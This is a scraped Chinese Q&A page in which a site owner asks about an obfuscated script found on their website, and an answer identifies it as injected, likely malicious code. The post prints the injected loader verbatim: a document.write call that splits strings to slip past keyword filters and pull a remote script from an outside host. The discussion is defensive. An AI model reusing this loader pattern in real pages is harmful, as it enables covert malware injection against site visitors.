有人可以解释这段 JavaScript 代码吗

Posted

技术标签:

【中文标题】有人可以解释这段 JavaScript 代码吗【英文标题】:Could someone explain this JavaScript code 【发布时间】:2015-09-14 07:39:25 【问题描述】:

请解释一下这段代码的含义:

<script type="text/javascript" language="javascript">
    document.write('<scri' + 'pt type="text/javas' + 'cript" language="javas' + 'cript" src="' + top.location.protocol + '//c.sitehelp.inkiev.net/code.cgi?c=4067' + (top.location.protocol=='http:' ? '' : '&ssl=1') + '&rnd=' + Math.random() + '"></sc' + 'ript>');
</script>

哦,这么多缺点。我尝试简化表达式,阅读有关 document.write() 并变得清晰。为什么有人将它添加到我的网站?

<script 
    type="text/javascript" 
    language="javascript" 
    src="'http://c.sitehelp.inkiev.net/code.cgi?c=4067&rnd=' + Math.random() + '">
</script>

【问题讨论】:

你不知道document.write()是什么意思? 再清楚不过了——你不明白什么?为什么你用“黑客”来标记这个? 是的,我不知道。我不是网络开发人员,但我很惊讶我的网站有一个指向 ...//c.sitehelp.inkiev.net/code.cgi?c=4067 的链接 【参考方案1】:

您的网站可能遭到入侵,并且有人注入了 javascript 代码。有一定知识的人应该使网站脱机,清理,通过更新它使用的任何服务(例如 wordpress)来修补任何漏洞,然后将其重新上线。 该代码试图通过拆分字符串来避免关键字黑名单。它从它生成的 url 中检索一个可能是恶意的脚本。

【讨论】:

以上是关于有人可以解释这段 JavaScript 代码吗的主要内容,如果未能解决你的问题,请参考以下文章

有人可以向我解释这段代码吗?我需要了解 Python for 循环的人

有人可以解释这段代码如何使用 Accelerate Framework 将音量转换为分贝吗?

有人可以解释一下这个与 Js 回调函数有关的代码吗?我对这段代码很困惑,可能是因为我是初学者。问题是:

有人可以解释以下 javascript 代码吗?

有人可以解释一下这个简单的python代码吗?

有人可以解释 Javascript 中的“去抖动”功能吗